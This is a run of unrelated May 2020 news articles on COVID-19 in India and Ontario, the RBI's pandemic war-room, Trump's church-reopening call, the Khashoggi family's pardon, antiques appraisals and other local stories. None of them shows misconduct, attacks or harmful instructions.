However, a 95-year-old woman, who had earlier tested COVID-19 positive in Indore, recovered from the infection, a fortnight after her 70-year-old son had died due to suspected coronavirus infection.

Tamil Nadu, another badly hit state, reported nearly 800 new cases and its tally of confirmed cases rose to 14,753 and the death toll reached 98.

New cases were detected across various other states and UT as well, including in Rajasthan, Madhya Pradesh, Assam, Kerala and Andhra Pradesh.

An official of the National Disaster Response Force (NDRF) has also been found positive for the novel coronavirus, making it the first case in the federal contingency force. Officials said the Sub-Inspector rank official was on leave and had gone to a doctor for some other treatment after which his COVID-19 test was done.

A large number of new cases are being reported among people who have returned from other states in special trains for migrants and among those having come back to India in special flights being operated to bring back stranded Indians and expatriates from abroad.

Officials said Tamil Nadu government is not in favour of restarting domestic air services connecting cities in the state till this month-end and might take up the matter with the Centre.

Lockdown saved lakhs of lives, says Centre

Reeling off various studies, government officials also said up to 2.1 lakh more people could have died in India if the lockdown had not been implemented as "a timely, graded, proactive and preemptive public health measure" to fight the COVID-19 pandemic.

Pravin Srivastava, Secretary, Ministry of Statistics and Programme Implementation gave model-based estimates on COVID-19 cases and deaths which have been prevented due to the lockdown at a media briefing on the COVID-19 situation.

Citing a model by the Boston Consulting Group, he said the lockdown saved between 1.2-2.1 lakh lives, while the number of COVID-19 cases averted is between 36-70 lakh.

Srivastava further said the Public Health Foundation of India's model showed that nearly 78,000 lives have been saved due to the lockdown. He also cited another model by two independent economists suggesting that 23 lakh COVID-19 cases and 68,000 deaths have been averted due to the lockdown.

"We are fully confident that the lockdown, with full public cooperation, has reaped rich dividends," Srivastava added.

Recovery rate at about 41%, says health ministry

Addressing the press briefing, Health Ministry Joint Secretary Lav Agarwal said 48,534 COVID-19 patients, which is about 41 percent of the total cases, have recovered so far, while 3,234 have recovered in the last 24 hours.

He also said that the COVID-19 mortality rate has dropped from 3.13 per cent on May 19 to 3.02 per cent as focus was on containment measures and clinical management of cases.

An ICMR official said 27,55,714 tests for COVID-19 have been conducted till 1 pm Friday with 1,03,829 tests done in one day. Over 1 lakh tests for COVID-19 have been done each day for the last four days, the official said.

Paul said the number of COVID-19 cases would have risen exponentially had the lockdown not been implemented. He also said the outbreak in India has remained confined to limited areas with 80 per cent of active cases in just five states.

Besides, around 80 percent of COVID-19 deaths have been in Maharashtra, Gujarat, Madhya Pradesh, West Bengal and Delhi, Paul said.

Pune's government-run Sassoon General Hospital said that it will administer tocilizumab, a drug which has proven effective in treating the infection, on at least 25 COVID-19 patients who are in a semi-critical condition at the hospital.

"The new drug, an injection which costs around Rs 20,000, will be given to 25 patients in the first phase and depending on the results, the Pune Municipal Corporation will decide on its further use," municipal commissioner Shekhar Gaikwad said.

Delhi health care workers protest new rules

In the meantime, healthcare workers at several central and city government hospitals in Delhi sported black armbands to protest the government's decision to end the need for their quarantine after COVID-19 duty unless there has been any form of high-risk exposure.

Several hospitals in the last few days have asked their healthcare workers staying in hotels during the quarantine period to vacate rooms immediately failing which the charges paid for their overstay would be deducted from their salaries.

As per the Union health ministry guidelines issued on 15 May, healthcare workers serving in COVID-19 areas do not need to undergo quarantine unless there has been violation in the use of PPE or any other form of high-risk exposure or they have symptoms suggestive of coronavirus infection.

However, healthcare workers on the frontline have raised objections to the new guidelines.

New study hints at spike after 21 June

Meanwhile, a study by a team of researchers said India may witness COVID-19 cases peaking between June 21-28 with maximum daily positive cases to be around 7,000-7,500 in this period.

"A clear downward trend in the confirmed cases is likely to be observed each day from the second week of July," Nandadulal Bairagi, a senior professor of Jadavpur University who was involved in the project told PTI.

With inputs from PTI
The Reserve Bank, which has been operating from a war-room at a secret facility here since March 19 with skeletal staff, has increased the deployed manpower to 150 now, as the monetary authority continues to insulate the nation's financial system from the disruptions due to the coronavirus pandemic.

The facility, part of the RBI's business contingency plan (BCP), was up and running within 24 hrs of the central bank taking a decision to this effect. The war-room was being manned by just about 120 most critical staff from the RBI, along with 60 key personnel from its 600-people strong workforce of its external vendor and around 70 facility staff.

As the lockdown has been extended, the RBI deputed an additional 30 staff recently, taking the total strength to 150, a central bank official told PTI on Friday.

Mumbai was shuttered almost a fortnight before the national lockdown from March 25. Taking into consideration the criticality of the situation, RBI Governor Shaktikanta Das took the decision to set up a war-room on March 18.

Since mid-March, only around 10 per cent of staff have been attending the central office that houses around 2,000 people, according to RBI union sources.

Addressing the media on Friday, wherein the RBI cut the repo rate by 40 basis points to 4 per cent, Governor Das profusely thanked the staffers manning the war-room.

I would like to thank my colleagues who have been working tirelessly in our fight against the COVID-19. A special word of praise for our team of over 200 officers, staff and other service providers who are working 24x7 in isolation to keep the essential RBI services available to the nation, Das said.

He also praised the selfless work of doctors, healthcare and medical staff, police and law enforcement agencies, functionaries and personnel in government and private sector, banks and other financial institutions and their families.

The war-room operation is so controlled for the sake of security and health of the personnel as also of the system. The BCP manual allows only half of the deputed staff to be present at any given time, with the rest on standby.

"This is the first of its kind BCP implementation by any central bank and is also the first in our history as even during the World War II, we did not have any such facility," an RBI official had told PTI in March.

The most critical RBI functions like debt and reserve management, and monetary operations are being run from the war-room now. On a normal day, these critical operations are handled by around 1,500 employees.

The war-room also operates other RBI data centres that run critical systems like SFMS (structured financial messaging system), RTGS and NEFT, e-Kuber that handles the Centre's and states' transactions, inter-bank transactions, market and monetary policy instruments operations, treasury operations, currency inventory and distribution management, RBI website, e-mail and over 35 other applications.

"This BCP model is a first in the financial system perhaps anywhere in the world as the normal BCP is for software and hardware problems, fire or other natural calamities and no one has such a plan as RBI has put in place to fight the pandemic.

"What is also unique is that no national institution or central bank has a BCP for pandemics where people also maintain social distancing in accordance with established protocols. This includes donning hazmat suits too," the official had explained.

On a normal day, the Reserve Bank, that handles billions of transactions, is served by around 14,000 employees across the central office and 31 regional offices.

The three most critical functions moved to the war-room -- debt management, reserve management and monetary operations -- are handled by around 1,500 people on a normal day.

Explaining how they operationalised the war-room, the official said first they hired the facility exclusively to accommodate around 120 RBI personnel and around 60 IT service providers who are supported by around 70 facility staff. All these people are isolated within the secret facility on a continuous basis and cannot move out except for extreme contingencies.

Under the minimum staffing plan of the BCP playbook, two batches are formed and the second batch is kept on standby. A backup replacement pool is also in place. All the staff at the secret location are in hazmat suits, the official added.

Again, this is first time that vendors gave been put on the location as on normal days they work onsite and stay back round the clock.

These systems, operated through multiple data centres, have to stay live notwithstanding any exogenous disruption, the official noted.

The BCP playbook is designed to ensure that all critical functions of the financial system continue function round-the-clock.

The novel coronavirus virus has killed around 3,600 people in the country and infected close to 1.2 lakh, while across the world over 5.2 million have been infected and over 3.32 lakh have died..

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
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An unexpected jump in new COVID-19 cases this week has prompted health officials to take a closer look for hot spots and consider sending mobile testing vans, says Ontarios chief medical officer.

Were trying to understand where thats occurringand focus testing and encourage testing in those specific areas, Dr. David Williams told reporters Friday.

Ontario has had more than 400 new confirmed and probable cases daily for four days after a trend of 10 days below 400, according to a Star compilation of data from health units.

It is concerning, Dr. Barbara Yaffe, Ontarios associate medical officer of health said of the Ministry of Healths own statistics. Were definitely monitoring very closely.

There were 492 new cases as of 5 p.m. Friday, according to the Stars survey measuring the previous 24 hours, bringing the total to 26,260 since the outbreak began in January. Another 22 deaths pushed the total fatalities to 2,113.

Officials would not single out specific neighbourhoods but Yaffe noted 64 per cent of Ontarios cases are in the GTA, particularly parts of Toronto and Peel. Toronto, for example, reported 258 new cases Friday.

York and Durham regions are also experiencing high numbers along with Ottawa and Windsor, she added.

We are working closely with those health unitstrying to identify, if there is no obvious contact, whether theres some common places that people might have been, Yaffe said.

Premier Doug Ford hinted at the mobile van tactic earlier in the day, saying were going to go into communities where thereshot spots and promised an ad campaign encouraging people with mild symptoms to get tested at assessment centres.

In these hot areas, if Ive got to make robocalls to get people out, I will.

The effort comes as Ontarios testing for COVID-19 has fallen so far short this week that the capacity to check 46,000 people for the highly contagious virus has been wasted.

Ministry of Health figures released Friday showed 11,276 samples were processed Thursday, almost 9,000 below the ability of provincial government, hospital and commercial labs to provide results on more than 20,000 daily.

Combined with daily shortfalls since Monday  when just over 5,000 samples were processed  the foregone capacity totals about 46,000 over four days.

We arent doing nearly the testing we should, said Colin Furness, an infection control epidemiologist at the University of Toronto who has advocated more proactive testing of people in jobs with occupational exposure to the public, such as grocery clerks and bus drivers.

With the reopening of stores, the number of people who should be tested has now increased substantially.

Ford also pledged a broader testing plan coming next week will include more workers, such as truck drivers.

As recently as last week, the provinces medical officers were arguing against wider testing that would target workers with occupational risk of exposure or people without symptoms.

But Williams said that changed because the conclusion of a testing blitz in nursing homes and fewer people than expected showing up at assessment centres left lab capacity available.

NDP Leader Andrea Horwath said she was shocked it took officials so long to realize more and broader testing is the way to go.

Low-testing numbers put peoples health at risk, and put Ontarios economic reopening at risk, said Horwath.

This weekend, Ford said there is a push to test residents and staff in retirement homes, along with more health-care workers and going back into nursing homes where the virus has spread like wildfire.

The Ontario governments official number of confirmed cases rose by 441 on Wednesday, up from 413 the day before even as test processing has fallen dramatically from the 18,354 samples handled last Thursday.

Ontario had 961 people in hospital with COVID-19, with 153 seriously ill in intensive care and 120 of them on ventilators.

The Ministry of Health said the cases of 18,767 people who contracted the illness are considered resolved.

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A 16-year-old boy was injured



after a bullet fired by a man during an argument with others hit the minor's leg in Surat city of Gujarat, police said on Friday.

The incident occurred at Udhana area of the city on Thursday night, following which the man has been detained, police said.

"The accused, Dharmendra Singh, is notorious for indulging in anti-social activities in the area. We have detained him after the incident," Assistant Commissioner of Police A M Parmar said.

As per the government guidelines, the accused will be arrested only after his coronavirus test is conducted, he said.

Police inspector Manhar Patel said the injured teenager is currently being treated at a local hospoital.

Revealing the details of the incident, Patel said, "On Thursday night, Dharmendra Singh had called a meeting to broker peace between two men who had a quarrel few days back. During the talks, Singh lost his temper over some issue and fired one bullet from his gun."



"However, the bullet hit the boy, who was standing near the place where the three men were holding talks," he said.

Although the Gujarat government has announced a slew of relaxations for the state for lockdown 4.0, there is a complete ban on all kind of movement between 7 pm and 7 am. Police refer to this period as curfew.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
President Donald Trump speaks during the "Rolling to Remember Ceremony: Honoring Our Nations Veterans and POW/MIA" from the Truman Balcony at the White House in Washington, on May 22, 2020. (Mandel Ngan/AFP via Getty Images)

Trump Declares Places of Faith Essential: Governors Should Let Churches Reopen This Weekend

President Donald Trump on Friday said governors across the nation should let churches and other houses of worship reopen this weekend if they havent already done so.

I call upon governors to allow our churches and places of worship to open right now, Trump told reporters at the White House in Washington.

Governors are free to call the president with any questions but challenges are not going to succeed, the president said.

The governors need to do the right thing and allow these very important, essential places of faith to open right now. For this weekend. If they do not do it, I will override the governors. In America we need more prayer, not less, he said.

The Centers for Disease Control and Prevention issued guidance later Friday for communities of faith at Trumps direction, which include recommending face coverings, frequent washing of hands, and intensified cleaning, disinfection, and ventilation.

Its not right that some governors have declared liquor stores and abortion clinics as essential but have left out churches and other houses of worship, according to the president, who described the situation as an injustice.

Many of the governors who have allowed in-person church services to resume have kept a limit on the number of people allowed to gather. Others continue to bar in-person services.

In some states, drive-in services are held to comply with harsh restrictions implemented in an attempt to slow the spread of the CCP (Chinese Communist Party) virus.

Pictures of parishioners are seen on the pews during an Easter Sunday livestream service at Our Lady of Sorrows Catholic Church in South Orange, N.J. on April 12, 2020. (Elsa/Getty Images)

Pastors and congregants filed lawsuits to challenge orders in multiple states after governors put stricter conditions on houses of worship than other places. Some have been successful. A federal judge on Tuesday gave churchgoers in North Carolina the go-ahead to resume indoor services with no limit after Democratic Gov. Roy Cooper tried limiting indoor gatherings to 10 or fewer people, while letting most businesses fill to 50 percent occupancy.

This court does not doubt that the Governor is acting in good faith to lessen the spread of COVID-19 and to protect North Carolinians. But restrictions inexplicably applied to one group and exempted from another do little to further these goals and do much to burden religious freedom, U.S. District Court Judge James Dever III wrote in his ruling for a temporary restraining order.

A suit filed by churches and individuals in Oregon led to a county judge declaring Democratic Gov. Kate Browns order null and void, but that ruling was swiftly blocked by the state Supreme Court.

Californias restrictions on churches drew attention from the Department of Justice, which warned Gov. Gavin Newsom that his orders may discriminate against religious communities

Pastors in a number of states have been fined for reopening in defiance of restrictions.

People want to gather at churches, synagogues, and mosques, Trump said at the press conference on May 22.

Worshipers who helped pack food Iftar, pray while maintaining social distancing during the month of Ramadan at the Dar Al-Hijrah Islamic Center in Falls Church, Va. on April 28, 2020. (Andrew Caballero-Reynolds/AFP via Getty Images)

These are places that hold our society together and keep our people united. The people are demanding to go to church and synagogues, go to their mosque, he said.

Trump expressed confidence that pastors and other faith leaders will make sure their congregations are safe as they gather.

Several governors said they wouldnt heed the federal guidance.

Democratic Rhode Island Gov. Gina Raimondo said at a press conference that shes keeping plans in place that will continue barring houses of worship from holding in-person services this weekend.

The plans call for allowing in-person services on May 30. Occupancy will be limited to no more than 25 percent.

A spokeswoman for Washington Gov. Jay Inslee, a Democrat, said in a statement: While we have read the presidents comments, there is no order and we think he understands at this point that he cant dictate what states can or cannot open.

Others signaled support for Trumps recommendation to deem churches as essential.

I wholeheartedly agree with the president, Republican Georgia Gov. Brian Kemp said in a statement, adding: Places of worship  especially during these difficult times  are ESSENTIAL!
Riyadh, May 22 : The family of murdered Saudi journalist Jamal Khashoggi on Friday released a statement forgiving his killers.

The statement was posted to the Twitter account of Salah Khashoggi, one of the late journalist's sons, on Friday, the BBC reported.

"In this blessed night of the blessed month (of Ramzan) we remember God's saying: If a person forgives and makes reconciliation, his reward is due from Allah," Salah, who lives in the Saudi city of Jeddah, wrote.

"Therefore we the sons of the Martyr Jamal Khashoggi announce pardoning those who killed our father, seeking reward God almighty." The journalist, who had gone into self-imposed exile in the US in 2017, went to the Saudi consulate in Istanbul on October 2n 2018 seeking documents to get married to fiance Hatice Cengiz.

Investigators believe that he was murdered and dismembered while she waited outside, but his remains have never been recovered.

Saudi officials initially claimed he had left the building alive and their account of events changed several times in the weeks after his disappearance.

After offering changing accounts of his disappearance, Saudi authorities eventually submitted he was killed in a botched operation by a team tasked with getting him to return to the country, reports the BBC.

In December 2019, a court sentenced five unnamed men to death for their role in his killing after a secretive trial in Riyadh.

Salah has previously issued statements expressing his confidence in, and support of, the Saudi investigation.

He has also previously criticised "opponents and enemies" of Saudi Arabia who he said had tried to exploit his father's death to undermine the country's leadership.

Last year, the Washington Post said in a report that Khashoggi's children had received homes and monthly payments as compensation for the killing of their father.

But Salah, Khashoggi's eldest son, was the only sibling who intended to carry on living in Saudi Arabia, the newspaper said.

-- The story has been published from a wire feed without any modifications to the text
Source: Xinhua| 2020-05-21 05:04:43|Editor: huaxia

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WARSAW, May 20 (Xinhua) -- The governments of Poland and Britain signed a memorandum of understanding on Wednesday on the construction of a new international airport 40 kilometers west of Warsaw.

The agreement allows, among other things, Polish and British consultancy firms to form joint teams for developing infrastructure in and around the airport location.

The so-called Central Transportation Port (CPK) is a marquee project announced by the government in 2017 which is intended to take over the role of the main international airport in the country from Chopin International Airport in Warsaw. Its location near Poland's geographical center and the integration of road, rail and air would allow the airport to service an initial 45 million passengers per year, with future expansion allowing for 100 million passengers per year.

"This project shows the ambition, optimism and innovation that define today's Poland, and we would like for British expertise to play an enormous part in assisting to turn this world-class vision into reality," Polish press agency PAP quoted Graham Stuart, British Parliamentary Under-Secretary of State for Exports, as saying.

The first phase of construction is planned to be completed towards the end of 2027. Enditem
Q. I inherited this watercolour painted by Arthur Drummond in the 1940s. It measures 19 by 26.5 cm (7.5 x 10.5 inches). It is signed by the artist and includes the location of Huntsville. He painted it for my grandparents who owned a cottage and cabin rental business in the Muskoka area. Arthur was often a guest there. The cabin was built by my grandfather and later became the home of my parents. I believe he received an award from the American Watercolor Society (AWCS) and was a student of the Group of Seven. I would be very interested to learn more about the artist and the value of the painting. Thank you.

A. Drummond (1891-1977), a Torontonian, became a banker but his evenings and spare time were consumed with his avocations of art and music. He was an accomplished violinist. He took classes at the Ontario College of Art with Canadian artists John Beatty, William Cutts, George Reid and Charles Manly. Around the same time, he did work with some Group members including A.J. Casson, J.E.H. MacDonald and Arthur Lismer. He exhibited with the Royal Canadian Academy of Arts, the Ontario Society of Artists and the Art Association of Montreal winning awards for his watercolours. He was elected full membership in the AWCS. Scenes with log cabins are always welcome subject matter with collectors of Canadian art. Its heirloom value is infinite. This charming scene is worth $250.

Q. We added this Doulton Lambeth England mug to our collection about 40 years ago for $50. It stands 16.5 cm tall (6.5 inches) with more marks on the base. I saw one at the Christie Show a few years ago for $400. I know people arent into Doulton much anymore but having the three handles should appeal to collectors. This downsizing isnt very much fun but it has to be done and I welcome your excellent help.

Carol, Kitchener

A. In the 1880s, Henry Doulton hired more than 60 artists and encouraged them to Follow the bent of your own genius. It resulted in the largest range of original wares from one pottery. Your stoneware pottery loving cup or tyg with overlapping fans and fleur-des-lis could be a unique design and dates within a 20-year period after 1891 marked by the word England in the mark. The base initials appear to be JB and might be those of John Broad, a significant but less recognized artist who worked on stoneware at the Lambeth factory from 1873 to 1919. As in other categories of antiques and collectibles, your rare and unusual mug will still bring a respectable price of $150.

Q. Since a journey to my aunts barn 50 years ago, my husband loved this unusual piece of furniture which to me looked quite ordinary. Perhaps it was nailed to the wall in a fishing camp to keep blankets away from mice. It has a handle and hinges made entirely of wood. It had no feet which my husband has since added. I like the wood, though if not the design. It stands 81 cm tall, a top 61 cm square (24 inches) and a body 41 cm square (32 x 24 x 16 inches). It has a drawer above the door which opens to an upper shelf and a larger lower area. I found prehistoric dust and almost left it in for authenticity.

Shirley, Ottawa

A. The Arts & Crafts Movement  one that promoted hands-on craftsmanship  was responsible for spawning your Mission style commode. Many handicraft guilds developed in Ontario and Quebec circa 1915 and continued their production into the 1930s. Your vision of a hunting and fishing lodge suits this type of furniture characterized by simplicity, function and accentuated structural features. The latch, hinges and overlapping joinery ending with loud circles create beauty and intrigue in a simple piece. Expensive quarter-cut oak was used and your husband did a fitting job with the angular feet. It harboured at least a nine-piece wash set. It could be unique and the curved panel highlight on the drawer front is a great touch. This lively piece is worth $350.

John Sewell is an antiques and fine art appraiser. To submit an item to his column, go to the Contact John page at www.johnsewellantiques.ca . Please measure your piece, say when and how you got it, what you paid and list any identifying marks. A high-resolution jpeg photo must also be included. (Only email submissions accepted.) * Appraisal values are estimates only.*

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San Antonio will witness another flyover.

The Lewis Air Legends are coordinating a flyover to honor military heroes on Memorial Day in the Alamo City. The Lewis Air Legends are part of Rod Lewis' flying museum of World War II-era warbirds.

The flyover route includes the downtown area and the Stinson Municipal Airport. The four WWII-era planes are planning to take to the skies at noon on Monday, weather permitting.

READ ALSO: Photos of the Thunderbirds flyover that are crazy cool

The flyover route will start over the Interstate 10 and Loop 1604 corridor, then fly south to Kelly Field, turn north circling downtown businesses and neighborhoods, and finish over Fort Sam National Cemetery.

A news release says residents should be able to see the 30-minute flyover from their homes and should refrain from traveling to landmarks, hospitals and gathering in large groups to view the flyover.

This events marks the second flyover in recent weeks. San Antonians were treated to a flyover last week when the Air Force's Thunderbirds soared through the local skies to honor frontline workers in the battle against the coronavirus.

Madalyn Mendoza covers news and puro pop culture for MySA.com | mmendoza@mysa.com | @maddyskye
India has drafted rules proposing tighter scrutiny of new Foreign Portfolio Investors (FPIs) from China and Hong Kong, three government sources told Reuters. The discussions come weeks after the central government said it will screen all foreign direct investment (FDI) from countries with which it shares a land border, a move it said was aimed at staving off takeovers when asset prices are depressed during the coronavirus pandemic. The Chinese government described the policy as discriminatory. FDIs are longer-term direct investments that typically provide control over a firm's ...
Incumbent Clackamas County Commissioner Ken Humberston is headed to a run-off after a nail-biter of a primary.

On Tuesday night, Humberston appeared poised to jump over the 50% plus 1 vote threshold needed to win outright. But as more votes were tallied, his share of vote totals decreased slightly.

As of Thursday afternoon, he is hovering around 49% and challenger Mark Shull has moved up to 27%. Humberston has previously served in elected offices before moving to Oregon and joining the Clackamas River Water special district board.

Humberston is a Democrat, and though the board seats are nonpartisan, votes often fall along political lines. Humberston helped cement a more liberal majority on the county board when he was first elected.

Shull is a retired military officer who has promised to reject new taxes and regulations, push back on Metro and other stalwart Clackamas conservative talking points. If elected, he would help split the political power on the board.

-- Molly Harbarger

mharbarger@oregonian.com | 503-294-5923 | @MollyHarbarger

Subscribe to Oregonian/OregonLive newsletters and podcasts for the latest news and top stories.
Bengaluru: The coronavirus and the lockdown restrictions to curb its spread have hit the business of Gods across the world. In the southern Indian states, where religious and spiritual tourism is a billion-dollar industry, even the most powerful temples are struggling to stay afloat.

From offering online darshan of deities to selling laddus and lamps at discounts, the temples are opting for innovative ideas to survive the pandemic.

The Karnataka government is living up to its image of the tech state by introducing online darshan of gods and goddesses. The Endowment and Charities ministry known as Muzrai, which controls over 30,000 temples in the state, has come out with online Poojas to help both the priests and devotees in the time of crisis.

According to Muzrai minister Kota Srinivasa Poojary, the state government is planning to provide such facilities by the end of this month. Initially, only some major temples will go online via Facebook and their respective websites. The devotees can pre-book a pooja by paying a fixed amount. They can, in fact, avail 15 kinds of special poojas by paying money for each kind or can even go for a bulk booking, he said.

In the first phase, the Chamundeshwari temple in Mysore, Banashankari temple in Bengaluru, Kukke Subramanya in Dakshina Kannada, Kollur Mukambika in Udupi, Saundatti Yellamma in Belgaum, Yediyuru Siddalingeshwara in Tumkur and a few more temples will go online, the minister informed.

The state government has already released Rs 34 crore to pay salaries of the priests at about 30,000 state-run temples. The priests, who survive on daily offers made by the devotees in cash and kind, are urging the government to open the temples at the earliest.

There are over 50,000 private run temples in Karnataka. The financial condition of the priests at these temples is said to be in a precarious state with all religious activities and weddings have come to a total halt.

In the neighbouring Andhra Pradesh, Tirupati, the worlds richest Hindu temple and the second richest after the Vatican, is struggling to pay salaries to its employees and priests as it has been shut for two months.

The TTD, which runs the temple, has now started selling its famous prasadam laddu at 50 per cent discount in Tirupati, Chennai, Hyderabad and Bengaluru to earn some spare cash to manage the affairs of the God. Each Laddu is now being sold for Rs 25.

Over 50,000 people visit Tirupati every day. The temple was never shut for two months in its over 1,500-year-old history, claim the locals.

In Kerala, the Travancore Dewaswom Board, which controls over 1,000 temples in the southern part of the state, has decided to earn some money by selling bronze lamps of the temple.
GRAMMY-NOMINATED WORSHIP LEADER KARI JOBE RELEASES "THE BLESSING," MULTI-TRACKS WITH STUDIO, CINEMATIC AND RADIO VERSIONS OF THE BELOVED NEW SONG

May 22, 2020

NASHVILLE, TENN. (MAY 22, 2020) GRAMMY-nominated worship leader Kari Jobe releases multiple versions of the widely popular new song, "The Blessing," which Jobe co-wrote with Cody Carnes and Elevation Worship's Steven Furtick and Chris Brown. Today's release includes a studio version, cinematic version and radio versions all featuring Carnes. GRAMMY-nominated worship leaderreleases multiple versions of the widely popular new song, "The Blessing," which Jobe co-wrote with Cody Carnes and Elevation Worship's Steven Furtick and Chris Brown. Today's release includes a studio version, cinematic version and radio versions all featuring Carnes. Click here to listen to these new versions. In March before the world was overcome with the pandemic, Kari Jobe, Cody Carnes and Elevation Worship gathered together to write "The Blessing," releasing it just days later via YouTube with the live video that now has more than 13 million views. Jobe released the live audio track a few weeks later, and the song has 17 million streams and has been included on Spotify's US Viral 50 and Global Viral 50 Playlists. This timely song has also been covered by churches around the world singing the song over the nations. Countries like the United Kingdom, Canada and Zimbabwe to name a few have covered this song in many other languages. "The Blessing" is currently the No. 1 Song at Worship Together, MultiTracks, Praise Charts and Song Select. At radio, the single has already moved into the Top 20 on Christian Airplay Chart, AC Monitored and AC Indicator charts after just a few weeks of being sent to radio. "I have cried so many times as Ive watched different people all over the world declaring the blessing over their families, their churches and their nations," shares Kari Jobe on the impact of "The Blessing." "God is a God of His word and this song is straight from scripture. I love how He never changes and is always with us and for us. That brings so much peace, especially in a season of disappointment, uncertainty and fear like we have all been waking through this year. 'The Blessing' is truth that we can declare daily over our lives, families, and others. So grateful." Jobe is currently working on songs for a new album that will be released later this year.

















ABOUT KARI JOBE: For nearly two decades, well-respected worship leader Kari Jobe has been using her gifts to lead people into the presence of God. When she began leading worship at age 13, she never imagined she would be nominated for a GRAMMY, win multiple Dove Awards, have a RIAA Gold Certified single or be praised by the New York Times. She has sold more than 1.4 million albums (TEA) in her career and has over 1 billon career streams. Originally from Texas and now residing in Nashville, she tours the country with her husband Cody Carnes and their two boys, Canyon and Kingston, and they both serve at their home church The Belonging Co. www.karijobe.com

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For more info on Kari Jobe, visit the JFH Artists Database.


A Grocery Store Chain Filled Its Salad Bar With Beer, Cereal, and Candy Because of CCP virus

If youve stepped foot in a grocery store lately, you know things around your local shop look a little different as retailers take steps to slow the spread of the CCP (Chinese Communist Party) virus, commonly known as novel coronavirus.

This includes the loss of the community salad bar.

Its among the many changes that grocery store chains are making to keep people safe, including taking workers temperatures and limiting the number of customers.

One grocery store in Manchester, Mo., decided their salad bars were looking a bit lonely. So what used to be filled with lettuce, tomatoes, and cucumbers is now filled with mini liquor bottles, beer, mini cereal boxes, and candy.

Dierbergs Markets is a grocery chain based in Chesterfield, Mo., with locations all over the state. In some of its locations, stores have flexed their creative muscles and transformed their salad bar space into something unique to their store.

A crisis wasnt going to get in the way of our teams creativity, Dierbergs Markets Vice President of Advertising and Marketing Jamie Collins told CNN.

Collins said the chains salad bars have been closed since March.

Rick Rodemacher, one of the chains store directors, tried other fresh food items at first, but when that didnt work he came up with an idea to fill the empty space with beer cans and liquor bottles, Collins said.

Other stores have since put their own spin on their former salad bars with a tiki bar, cereal bar, and energy bar.

The CNN Wire and Epoch Times staff contributed to this report.
India logs over 3.17 lakh new Covid cases in last 24 hours; daily positivity rate up at 16.41 per cent

COVID-19 fatalities may be much more than what is being reported

New AI-based test uses X-rays to detect Covid in a few minutes

GoAir to resume domestic operations from June 1

India

pti-PTI

Mumbai, May 22: Budget carrier GoAir is likely to resume domestic flight services from June 1, owing to certain "operational and regulatory" issues, sources said on Friday.

Minister of State for Civil Aviation Hardeep Singh Puri had on Wednesday announced, through Twitter, that commercial passenger services on domestic routes will be allowed to operate from May 25 under a comprehensive Standard Operating Procedure (SOP), covering all stakeholders.

By Friday, except GoAir, all other Indian airlines, including national carrier Air India, had commenced bookings for their domestic flights.

"We have bookings from June 1 onwards as the government had earlier disallowed airlines from taking bookings till May 31. We have some issues such as (providing) simulator training to pilots and renewal of certain licences which have lapsed," a source said.

Domestic flights to resume in India from Monday, AAI issues guidelines | Oneindia News

"All these issues will take a couple of days to be sorted out. For this reason, we are expected to resume our services only from June 1," the source added.

95 year old woman recovers from coronavirus in Indore

Since the airline's employees are on leave without pay, they could not go for simulator training earlier, and currently these facilities are not available due to demand, he said.

"Nevertheless, we are preparing to take off the ground again. We plan to operate 100 flights per day with a fleet of 17-18 aircraft, which is one-third of both -- our almost total number of daily flights and aircraft," another source said.

"We have already got the approval for 85 flights. We have filed plans for another 15 flights," he added.

Response to queries sent to GoAir spokesperson did not elicit any response. Prior to suspension of all commercial passenger services on March 25 due to the nationwide lockdown to combat coronavirus pandemic, the Wadia Group-owned aviation entity had been flying 280 services daily on national routes, in addition to around 60 on overseas routes with a fleet of 54-56 aircraft.

From providing protective gear like face shields and gowns to cabin crew to deep cleaning of aircraft every 24 hours, airlines are taking various measures as they plan to restart curtailed domestic operations from Monday onwards amid the coronavirus pandemic.
Saudi activists say perpetrators in homicide cases cannot be pardoned and reaffirm Jamal Khashoggis case as political.

Many leading Saudi activists have stressed that slain Saudi journalist Jamal Khashoggis murder remains a political issue, despite alleged efforts by authorities in the kingdom to reduce it to a familial one.

Khashoggi, a well-known journalist in the Arab world who also wrote opinion pieces for The Washington Post, was killed in October 2018 after he entered the Saudi consulate in Istanbul to obtain documents to marry his Turkish fiancee. His body was dismembered and never recovered.

The remarks by the Saudi activists came after Khashoggis son Salah posted a brief statement on Twitter earlier on Friday, saying his family has pardoned those responsible for his fathers murder.

In this blessed night of the blessed month [of Ramadan], we remember Gods saying: If a person forgives and makes reconciliation, his reward is due from Allah, he posted.

Therefore, we the sons of the Martyr Jamal Khashoggi announce that we pardon those who killed our father, seeking reward God almighty.

However, Khashoggis Turkish fiancee, Hatice Cengiz, renounced the statement, saying no one has the right to pardon the killers and that she will not stop until justice is done.

Jamal Khashoggi has become an international symbol bigger than any of us, admired and loved. His ambush and heinous murder does not have a statue of limitations and no one has the right to pardon his killers.

I and others will not stop until we get #JusticeForJamal (1/2) pic.twitter.com/hX0kFRPNvr  Hatice Cengiz /  (@mercan_resifi) May 22, 2020

It was a sentiment also shared by many Saudi activists, who said they view Khashoggis killing as a political rather than a personal issue.

The murder of Jamal Khashoggi is not a family case, it is not a mistake in a normal context, said Yahya Assiri, the head of the United Kingdom-based Saudi rights group, ALQST.

The authorities killed him because of his political work, Assiri said. His case is political, so keep silent.

More than 4 months ago, I predicted the pardon from the family of #Khashoggi to let the killers off the hook. From the very beginning the Saudi AG asked for retaliatory death penalty that can be easily pardoned by any member of the family, and this is exactly what happned now https://t.co/JIEwEPPaIK  .   (@aalodah) May 22, 2020

Assiri shared a statement signed by at last two dozen Saudi activists and dissidents in December last year, rejecting the Saudi legal proceedings in the Khashoggi murder case.

We categorically reject the Saudi trial in the Khashoggi case and its resulting judgments, said the statement.

The trial is unfair, the Saudi judiciary is corrupt and not independent, and the main suspect in the case is the Saudi Crown Prince, who controls the conduct of the trials.

The signatories in the statement said they condemned Saudi authorities using the late journalists family members to whitewash the countrys judiciary,  dwarfing Khashoggis case.

It said Khashoggis family or some of its members did not have their full freedom to say what they wanted.

[The] fact is that the issue does not concern Jamal Khashoggis family only, but rather is an issue of public opinion as Khashoggi was a political writer who criticised the political system and was killed for that.

Omaima al-Najjar, a Saudi activist, said it was imperative to continue pushing for Khashoggis case as one framed within freedom of speech. It would remain in the public eye for several reasons, she said.

What we intend to do is continue to flag the case as a fight for freedom of speech and call for an independent transparent trial carried by international laws and not by Sharia laws that enable a murder case to escape penalty through a pardon or blood money, al-Najjar told Al Jazeera.

